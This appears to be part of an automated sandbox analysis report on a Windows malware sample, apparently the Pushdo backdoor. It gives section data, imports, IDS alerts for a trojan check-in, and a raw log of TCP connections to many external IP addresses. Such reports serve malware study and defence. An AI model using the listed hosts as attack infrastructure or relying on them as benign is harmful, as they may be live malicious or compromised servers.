/51	0x22000	0x3736	0x3800	False	0.4492885044642857	data	5.9182534943530305	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/63	0x26000	0xa61	0xc00	False	0.23665364583333334	data	4.085520889927775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/77	0x27000	0x838	0xa00	False	0.41484375	data	4.799882412623207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/89	0x28000	0x414	0x600	False	0.2903645833333333	data	3.593410259627699	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/102	0x29000	0x10f	0x200	False	0.33984375	data	3.2669453930153427	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/113	0x2a000	0xbc7	0xc00	False	0.3352864583333333	data	3.115268793621672	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/124	0x2b000	0x48	0x200	False	0.072265625	data	0.3691701588224267	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
BWONAD	0x9098	0x14800	data	English	United States
BWONAD	0x1d898	0xada	data	English	United States

Imports

DLL	Import
ntdll.dll	LdrAccessResource, LdrFindResource_U, NtAllocateVirtualMemory, ZwOpenSymbolicLinkObject
GDI32.dll	ChoosePixelFormat, GetStockObject, SetPixelFormat, SwapBuffers
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, ExitProcess, GetCommandLineA, GetLastError, GetModuleHandleA, GetProcAddress, GetStartupInfoA, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery
msvcrt.dll	__getmainargs, __p__environ, __p__fmode, __set_app_type, _cexit, _iob, _onexit, _setmode, abort, atexit, calloc, free, fwrite, signal, vfprintf
OPENGL32.DLL	glBegin, glClear, glClearColor, glColor3f, glEnd, glPopMatrix, glPushMatrix, glRotatef, glVertex2f, wglCreateContext, wglDeleteContext, wglMakeCurrent
USER32.dll	CreateWindowExA, DefWindowProcA, DestroyWindow, DispatchMessageA, GetDC, LoadCursorA, LoadIconA, PeekMessageA, PostQuitMessage, RegisterClassA, ReleaseDC, ShowWindow, TranslateMessage

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
173.231.184.124192.168.2.680502662037771 03/10/23-07:55:52.473955	TCP	2037771	ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	80	50266	173.231.184.124	192.168.2.6
192.168.2.6104.21.23.949714802016867 03/10/23-07:54:15.104296	TCP	2016867	ET TROJAN Backdoor.Win32.Pushdo.s Checkin	49714	80	192.168.2.6	104.21.23.9
63.251.106.25192.168.2.680503162037771 03/10/23-07:55:54.158079	TCP	2037771	ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	80	50316	63.251.106.25	192.168.2.6

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 10, 2023 07:54:15.074054003 CET	49713	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:15.076776028 CET	49714	80	192.168.2.6	104.21.23.9
Mar 10, 2023 07:54:15.078229904 CET	49715	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:15.093314886 CET	80	49713	192.124.249.20	192.168.2.6
Mar 10, 2023 07:54:15.093415976 CET	49713	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:15.094794989 CET	80	49714	104.21.23.9	192.168.2.6
Mar 10, 2023 07:54:15.094918013 CET	49714	80	192.168.2.6	104.21.23.9
Mar 10, 2023 07:54:15.104238987 CET	49713	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:15.104295969 CET	49714	80	192.168.2.6	104.21.23.9
Mar 10, 2023 07:54:15.110268116 CET	49716	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:15.112605095 CET	49717	80	192.168.2.6	137.118.26.67
Mar 10, 2023 07:54:15.121786118 CET	80	49714	104.21.23.9	192.168.2.6
Mar 10, 2023 07:54:15.124206066 CET	80	49713	192.124.249.20	192.168.2.6
Mar 10, 2023 07:54:15.124663115 CET	80	49713	192.124.249.20	192.168.2.6
Mar 10, 2023 07:54:15.124759912 CET	49713	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:15.132416964 CET	80	49714	104.21.23.9	192.168.2.6
Mar 10, 2023 07:54:15.132554054 CET	49714	80	192.168.2.6	104.21.23.9
Mar 10, 2023 07:54:15.146337986 CET	80	49716	80.93.82.33	192.168.2.6
Mar 10, 2023 07:54:15.146574020 CET	49716	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:15.183917999 CET	80	49715	70.39.251.249	192.168.2.6
Mar 10, 2023 07:54:15.184129953 CET	49715	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:15.360081911 CET	49716	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:15.360254049 CET	49715	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:15.362116098 CET	49718	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:15.367878914 CET	49719	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:15.368412971 CET	49720	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:15.391649961 CET	80	49716	80.93.82.33	192.168.2.6
Mar 10, 2023 07:54:15.391894102 CET	49716	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:15.431582928 CET	49713	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:15.451253891 CET	80	49713	192.124.249.20	192.168.2.6
Mar 10, 2023 07:54:15.451380014 CET	49713	80	192.168.2.6	192.124.249.20
Mar 10, 2023 07:54:15.466907024 CET	80	49715	70.39.251.249	192.168.2.6
Mar 10, 2023 07:54:15.467751026 CET	80	49715	70.39.251.249	192.168.2.6
Mar 10, 2023 07:54:15.467835903 CET	49715	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:15.516460896 CET	80	49718	3.130.204.160	192.168.2.6
Mar 10, 2023 07:54:15.516885042 CET	49718	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:15.553690910 CET	49716	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:15.555252075 CET	49718	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:15.569629908 CET	49715	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:15.584881067 CET	80	49716	80.93.82.33	192.168.2.6
Mar 10, 2023 07:54:15.585079908 CET	49716	80	192.168.2.6	80.93.82.33
Mar 10, 2023 07:54:15.644090891 CET	80	49720	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:15.644267082 CET	49720	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:15.661639929 CET	49720	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:15.662880898 CET	49721	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:15.663996935 CET	49722	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:15.669917107 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:15.670079947 CET	49719	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:15.670522928 CET	49719	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:15.676217079 CET	80	49715	70.39.251.249	192.168.2.6
Mar 10, 2023 07:54:15.676357985 CET	49715	80	192.168.2.6	70.39.251.249
Mar 10, 2023 07:54:15.679898977 CET	80	49721	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:15.680073023 CET	49721	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:15.680777073 CET	80	49722	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:15.680922985 CET	49722	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:15.710742950 CET	80	49718	3.130.204.160	192.168.2.6
Mar 10, 2023 07:54:15.710771084 CET	80	49718	3.130.204.160	192.168.2.6
Mar 10, 2023 07:54:15.710927963 CET	49718	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:15.743904114 CET	49721	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:15.744257927 CET	49722	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:15.752530098 CET	49718	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:15.760912895 CET	80	49721	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:15.760948896 CET	80	49722	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:15.766879082 CET	80	49722	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:15.766983986 CET	49722	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:15.773904085 CET	80	49721	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:15.774204969 CET	49721	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:15.906410933 CET	80	49718	3.130.204.160	192.168.2.6
Mar 10, 2023 07:54:15.920447111 CET	80	49720	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:15.939071894 CET	80	49720	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:15.939105988 CET	80	49720	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:15.939126015 CET	80	49720	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:15.939146042 CET	80	49720	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:15.939166069 CET	80	49720	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:15.939184904 CET	80	49720	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:15.939204931 CET	80	49720	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:15.939224958 CET	80	49720	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:15.939244986 CET	80	49720	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:15.939263105 CET	80	49720	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:15.939276934 CET	49720	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:15.939342976 CET	49720	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:15.957346916 CET	49723	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:15.972968102 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:15.978041887 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:15.978080988 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:15.978102922 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:15.978126049 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:15.978133917 CET	49719	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:15.978146076 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:15.978166103 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:15.978176117 CET	49719	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:15.978228092 CET	49719	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:15.978254080 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:15.978276014 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:15.978296995 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:15.978306055 CET	49719	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:15.978317022 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:15.978353024 CET	49719	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:15.978387117 CET	49719	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:16.064398050 CET	49724	80	192.168.2.6	172.67.73.176
Mar 10, 2023 07:54:16.081321955 CET	80	49724	172.67.73.176	192.168.2.6
Mar 10, 2023 07:54:16.081499100 CET	49724	80	192.168.2.6	172.67.73.176
Mar 10, 2023 07:54:16.094186068 CET	49724	80	192.168.2.6	172.67.73.176
Mar 10, 2023 07:54:16.111099005 CET	80	49724	172.67.73.176	192.168.2.6
Mar 10, 2023 07:54:16.111547947 CET	80	49723	3.130.204.160	192.168.2.6
Mar 10, 2023 07:54:16.111682892 CET	49723	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:16.115601063 CET	49725	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:16.122064114 CET	80	49724	172.67.73.176	192.168.2.6
Mar 10, 2023 07:54:16.122196913 CET	49724	80	192.168.2.6	172.67.73.176
Mar 10, 2023 07:54:16.123230934 CET	49723	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:16.139455080 CET	49726	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:16.143729925 CET	49727	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:54:16.150554895 CET	49724	80	192.168.2.6	172.67.73.176
Mar 10, 2023 07:54:16.152771950 CET	49728	80	192.168.2.6	216.58.215.243
Mar 10, 2023 07:54:16.169704914 CET	80	49728	216.58.215.243	192.168.2.6
Mar 10, 2023 07:54:16.169964075 CET	49728	80	192.168.2.6	216.58.215.243
Mar 10, 2023 07:54:16.170998096 CET	80	49724	172.67.73.176	192.168.2.6
Mar 10, 2023 07:54:16.171154976 CET	49724	80	192.168.2.6	172.67.73.176
Mar 10, 2023 07:54:16.171329975 CET	80	49727	213.186.33.17	192.168.2.6
Mar 10, 2023 07:54:16.171464920 CET	49727	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:54:16.175312042 CET	80	49726	62.122.190.121	192.168.2.6
Mar 10, 2023 07:54:16.175518990 CET	49726	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:16.180457115 CET	49727	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:54:16.190860987 CET	49728	80	192.168.2.6	216.58.215.243
Mar 10, 2023 07:54:16.191730022 CET	49726	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:16.208235025 CET	80	49728	216.58.215.243	192.168.2.6
Mar 10, 2023 07:54:16.213521957 CET	80	49727	213.186.33.17	192.168.2.6
Mar 10, 2023 07:54:16.213568926 CET	80	49727	213.186.33.17	192.168.2.6
Mar 10, 2023 07:54:16.213586092 CET	80	49727	213.186.33.17	192.168.2.6
Mar 10, 2023 07:54:16.213604927 CET	80	49727	213.186.33.17	192.168.2.6
Mar 10, 2023 07:54:16.213623047 CET	80	49727	213.186.33.17	192.168.2.6
Mar 10, 2023 07:54:16.213643074 CET	80	49727	213.186.33.17	192.168.2.6
Mar 10, 2023 07:54:16.213658094 CET	49727	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:54:16.213711977 CET	49727	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:54:16.213711977 CET	49727	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:54:16.215045929 CET	80	49720	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:16.215086937 CET	80	49720	59.106.19.204	192.168.2.6
Mar 10, 2023 07:54:16.215312004 CET	49720	80	192.168.2.6	59.106.19.204
Mar 10, 2023 07:54:16.227392912 CET	80	49726	62.122.190.121	192.168.2.6
Mar 10, 2023 07:54:16.228499889 CET	80	49726	62.122.190.121	192.168.2.6
Mar 10, 2023 07:54:16.228741884 CET	49726	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:16.277329922 CET	80	49723	3.130.204.160	192.168.2.6
Mar 10, 2023 07:54:16.277365923 CET	80	49723	3.130.204.160	192.168.2.6
Mar 10, 2023 07:54:16.277506113 CET	49723	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:16.277573109 CET	49723	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:16.280601978 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:16.280628920 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:16.280651093 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:16.280673027 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:16.280742884 CET	49719	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:16.280782938 CET	49719	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:16.280822992 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:16.280843973 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:16.280877113 CET	49719	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:16.280895948 CET	49719	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:16.281380892 CET	80	49719	118.27.125.181	192.168.2.6
Mar 10, 2023 07:54:16.281435966 CET	49719	80	192.168.2.6	118.27.125.181
Mar 10, 2023 07:54:16.326047897 CET	49723	80	192.168.2.6	3.130.204.160
Mar 10, 2023 07:54:16.327753067 CET	80	49725	170.82.174.30	192.168.2.6
Mar 10, 2023 07:54:16.327867985 CET	49725	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:16.371004105 CET	80	49728	216.58.215.243	192.168.2.6
Mar 10, 2023 07:54:16.371340990 CET	49728	80	192.168.2.6	216.58.215.243
Mar 10, 2023 07:54:16.480360031 CET	80	49723	3.130.204.160	192.168.2.6
Mar 10, 2023 07:54:16.541425943 CET	49726	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:16.578762054 CET	80	49726	62.122.190.121	192.168.2.6
Mar 10, 2023 07:54:16.578912973 CET	49726	80	192.168.2.6	62.122.190.121
Mar 10, 2023 07:54:16.722647905 CET	49725	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:16.808276892 CET	49729	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:16.932787895 CET	80	49725	170.82.174.30	192.168.2.6
Mar 10, 2023 07:54:16.981920958 CET	49730	80	192.168.2.6	172.67.70.22
Mar 10, 2023 07:54:16.999177933 CET	80	49730	172.67.70.22	192.168.2.6
Mar 10, 2023 07:54:16.999335051 CET	49730	80	192.168.2.6	172.67.70.22
Mar 10, 2023 07:54:17.028975964 CET	49730	80	192.168.2.6	172.67.70.22
Mar 10, 2023 07:54:17.045937061 CET	80	49730	172.67.70.22	192.168.2.6
Mar 10, 2023 07:54:17.058042049 CET	80	49730	172.67.70.22	192.168.2.6
Mar 10, 2023 07:54:17.058120012 CET	80	49730	172.67.70.22	192.168.2.6
Mar 10, 2023 07:54:17.058150053 CET	80	49730	172.67.70.22	192.168.2.6
Mar 10, 2023 07:54:17.058181047 CET	80	49730	172.67.70.22	192.168.2.6
Mar 10, 2023 07:54:17.058191061 CET	49730	80	192.168.2.6	172.67.70.22
Mar 10, 2023 07:54:17.058208942 CET	80	49730	172.67.70.22	192.168.2.6
Mar 10, 2023 07:54:17.058223009 CET	49730	80	192.168.2.6	172.67.70.22
Mar 10, 2023 07:54:17.058237076 CET	80	49730	172.67.70.22	192.168.2.6
Mar 10, 2023 07:54:17.058262110 CET	80	49730	172.67.70.22	192.168.2.6
Mar 10, 2023 07:54:17.058284044 CET	80	49730	172.67.70.22	192.168.2.6
Mar 10, 2023 07:54:17.058305025 CET	49730	80	192.168.2.6	172.67.70.22
Mar 10, 2023 07:54:17.058310986 CET	80	49730	172.67.70.22	192.168.2.6
Mar 10, 2023 07:54:17.058320999 CET	49730	80	192.168.2.6	172.67.70.22
Mar 10, 2023 07:54:17.058355093 CET	49730	80	192.168.2.6	172.67.70.22
Mar 10, 2023 07:54:17.058409929 CET	49730	80	192.168.2.6	172.67.70.22
Mar 10, 2023 07:54:17.074793100 CET	80	49729	206.191.152.37	192.168.2.6
Mar 10, 2023 07:54:17.074984074 CET	49729	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:17.076122046 CET	49730	80	192.168.2.6	172.67.70.22
Mar 10, 2023 07:54:17.093267918 CET	80	49730	172.67.70.22	192.168.2.6
Mar 10, 2023 07:54:17.155504942 CET	49729	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:17.157892942 CET	49731	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:54:17.160451889 CET	49732	80	192.168.2.6	99.83.154.118
Mar 10, 2023 07:54:17.161423922 CET	49735	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:17.161441088 CET	49734	80	192.168.2.6	172.67.152.159
Mar 10, 2023 07:54:17.161504984 CET	49733	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:17.178308964 CET	80	49734	172.67.152.159	192.168.2.6
Mar 10, 2023 07:54:17.178530931 CET	49734	80	192.168.2.6	172.67.152.159
Mar 10, 2023 07:54:17.179275036 CET	80	49732	99.83.154.118	192.168.2.6
Mar 10, 2023 07:54:17.179393053 CET	49732	80	192.168.2.6	99.83.154.118
Mar 10, 2023 07:54:17.188569069 CET	49734	80	192.168.2.6	172.67.152.159
Mar 10, 2023 07:54:17.188723087 CET	49732	80	192.168.2.6	99.83.154.118
Mar 10, 2023 07:54:17.189141035 CET	80	49735	80.74.154.6	192.168.2.6
Mar 10, 2023 07:54:17.189353943 CET	49735	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:17.196623087 CET	49735	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:17.211133957 CET	80	49734	172.67.152.159	192.168.2.6
Mar 10, 2023 07:54:17.211757898 CET	80	49732	99.83.154.118	192.168.2.6
Mar 10, 2023 07:54:17.213099957 CET	80	49732	99.83.154.118	192.168.2.6
Mar 10, 2023 07:54:17.213233948 CET	49732	80	192.168.2.6	99.83.154.118
Mar 10, 2023 07:54:17.221378088 CET	80	49725	170.82.174.30	192.168.2.6
Mar 10, 2023 07:54:17.221507072 CET	49725	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:17.222289085 CET	80	49735	80.74.154.6	192.168.2.6
Mar 10, 2023 07:54:17.222316980 CET	80	49735	80.74.154.6	192.168.2.6
Mar 10, 2023 07:54:17.222443104 CET	49735	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:17.256181002 CET	80	49731	192.241.158.94	192.168.2.6
Mar 10, 2023 07:54:17.256412029 CET	49731	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:54:17.284559011 CET	80	49734	172.67.152.159	192.168.2.6
Mar 10, 2023 07:54:17.284594059 CET	80	49734	172.67.152.159	192.168.2.6
Mar 10, 2023 07:54:17.284612894 CET	80	49734	172.67.152.159	192.168.2.6
Mar 10, 2023 07:54:17.284657955 CET	49734	80	192.168.2.6	172.67.152.159
Mar 10, 2023 07:54:17.284704924 CET	49734	80	192.168.2.6	172.67.152.159
Mar 10, 2023 07:54:17.316471100 CET	80	49733	3.140.13.188	192.168.2.6
Mar 10, 2023 07:54:17.316710949 CET	49733	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:17.317707062 CET	49731	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:54:17.391673088 CET	49735	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:17.399848938 CET	49733	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:17.400218964 CET	49736	80	192.168.2.6	89.161.163.246
Mar 10, 2023 07:54:17.415668011 CET	80	49731	192.241.158.94	192.168.2.6
Mar 10, 2023 07:54:17.415699959 CET	80	49731	192.241.158.94	192.168.2.6
Mar 10, 2023 07:54:17.415812969 CET	49731	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:54:17.417053938 CET	80	49735	80.74.154.6	192.168.2.6
Mar 10, 2023 07:54:17.417349100 CET	49735	80	192.168.2.6	80.74.154.6
Mar 10, 2023 07:54:17.417768955 CET	49725	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:17.421870947 CET	80	49729	206.191.152.37	192.168.2.6
Mar 10, 2023 07:54:17.421963930 CET	80	49729	206.191.152.37	192.168.2.6
Mar 10, 2023 07:54:17.421984911 CET	80	49729	206.191.152.37	192.168.2.6
Mar 10, 2023 07:54:17.422048092 CET	49729	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:17.422087908 CET	49729	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:17.432851076 CET	80	49736	89.161.163.246	192.168.2.6
Mar 10, 2023 07:54:17.433089972 CET	49736	80	192.168.2.6	89.161.163.246
Mar 10, 2023 07:54:17.537206888 CET	49729	80	192.168.2.6	206.191.152.37
Mar 10, 2023 07:54:17.554970980 CET	80	49733	3.140.13.188	192.168.2.6
Mar 10, 2023 07:54:17.555017948 CET	80	49733	3.140.13.188	192.168.2.6
Mar 10, 2023 07:54:17.555237055 CET	49733	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:17.627686977 CET	80	49725	170.82.174.30	192.168.2.6
Mar 10, 2023 07:54:17.774804115 CET	80	49725	170.82.174.30	192.168.2.6
Mar 10, 2023 07:54:17.775073051 CET	49725	80	192.168.2.6	170.82.174.30
Mar 10, 2023 07:54:17.785526037 CET	49731	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:54:17.786900997 CET	49736	80	192.168.2.6	89.161.163.246
Mar 10, 2023 07:54:17.797741890 CET	49733	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:17.803560972 CET	80	49729	206.191.152.37	192.168.2.6
Mar 10, 2023 07:54:17.819551945 CET	80	49736	89.161.163.246	192.168.2.6
Mar 10, 2023 07:54:17.820738077 CET	80	49736	89.161.163.246	192.168.2.6
Mar 10, 2023 07:54:17.820782900 CET	80	49736	89.161.163.246	192.168.2.6
Mar 10, 2023 07:54:17.820838928 CET	49736	80	192.168.2.6	89.161.163.246
Mar 10, 2023 07:54:17.820875883 CET	49736	80	192.168.2.6	89.161.163.246
Mar 10, 2023 07:54:17.883264065 CET	80	49731	192.241.158.94	192.168.2.6
Mar 10, 2023 07:54:17.883460045 CET	49731	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:54:17.952405930 CET	80	49733	3.140.13.188	192.168.2.6
Mar 10, 2023 07:54:18.174264908 CET	49737	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:18.284370899 CET	49717	80	192.168.2.6	137.118.26.67
Mar 10, 2023 07:54:18.323406935 CET	49738	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:18.331433058 CET	80	49737	3.140.13.188	192.168.2.6
Mar 10, 2023 07:54:18.331568003 CET	49737	80	192.168.2.6	3.140.13.188
Mar 10, 2023 07:54:18.342063904 CET	80	49738	34.117.168.233	192.168.2.6
Mar 10, 2023 07:54:18.342370987 CET	49738	80	192.168.2.6	34.117.168.233
Mar 10, 2023 07:54:18.342911005 CET	49738	80	192.168.2.6	34.117.168.233
